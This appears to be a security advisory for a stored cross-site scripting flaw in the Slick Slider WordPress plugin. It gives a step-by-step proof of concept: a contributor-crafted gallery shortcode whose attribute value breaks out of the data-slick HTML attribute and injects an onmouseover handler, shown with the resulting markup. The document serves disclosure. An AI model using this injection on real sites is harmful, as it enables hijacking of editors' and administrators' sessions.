Slick Slider < 0.5.3 – Contributor+ Stored XSS via Gallery Shortcode | CVE 2026-16537

Description

The plugin does not sanitize and escape a shortcode attribute value before outputting it in an HTML attribute, allowing users with the Contributor role and above to perform Stored Cross-Site Scripting attacks that execute when a user views the affected post.

Proof of Concept

Prerequisites: Slick Slider active; at least one image in the Media Library (note its attachment ID).

1. Log in as a Contributor.
2. Create a new post and switch to the code/text editor.
3. Insert the following shortcode (replace IMAGE_ID with an existing attachment ID):

   [gallery ids="IMAGE_ID" slick_active="true" sl_asnavfor="' onmouseover='alert(document.domain)' x='"]

4. Submit the post for review (it is saved as Pending).
5. When an Editor/Administrator previews or moderates the pending post (or once the post is published), the plugin renders:

   <div class="slick-slider ..." data-slick='{"asNavFor":"' onmouseover='alert(document.domain)' x='"}'>

   The third single quote closes the data-slick attribute, ' onmouseover='alert(document.domain)' becomes a new attribute on the div, and hovering the slider area executes the injected JavaScript in the viewer's session (alert(document.domain) fires).